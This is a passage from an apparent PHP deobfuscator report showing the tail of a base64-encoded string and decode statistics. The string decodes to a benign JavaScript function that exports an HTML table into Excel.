uKGVsLCBuYW1lKXsKCQkJaWYgKG1zaWUgPiAwIHx8ICEhbmF2aWdhdG9yLnVzZXJBZ2VudC5tYXRjaCgvVHJpZGVudC4qcnZcOjExXC4vKSkgey8vIElmIEludGVybmV0IEV4cGxvcmVyCgoJCQkJdmFyIHggPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChlbCkucm93czsKCgkJCQl2YXIgeGxzID0gbmV3IEFjdGl2ZVhPYmplY3QoIkV4Y2VsLkFwcGxpY2F0aW9uIik7CgoJCQkJeGxzLnZpc2libGUgPSB0cnVlOwoJCQkJeGxzLldvcmtib29rcy5BZGQKCQkJCWZvciAoaSA9IDA7IGkgPCB4Lmxlbmd0aDsgaSsrKSB7CgkJCQkJdmFyIHkgPSB4W2ldLmNlbGxzOwoKCQkJCQlmb3IgKGogPSAwOyBqIDwgeS5sZW5ndGg7IGorKykgewoJCQkJCQl4bHMuQ2VsbHMoaSArIDEsIGogKyAxKS5WYWx1ZSA9IHlbal0uaW5uZXJUZXh0OwoJCQkJCX0KCQkJCX0KCQkJCXhscy5WaXNpYmxlID0gdHJ1ZTsKCQkJCXhscy5Vc2VyQ29udHJvbCA9IHRydWU7CgkJCQlyZXR1cm4geGxzOwoJCQl9IGVsc2UgewoJCQkJdGFibGVUb0V4Y2VsRGF0YShlbCwgbmFtZSk7CgkJCX0KCQl9Cn0KPC9zY3JpcHQ+CjwvYm9keT4KPC9odG1sPg==")); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 c1d70af442fd3e4a691ba4aee5427d72
Eval Count 1
Decode Time 123 ms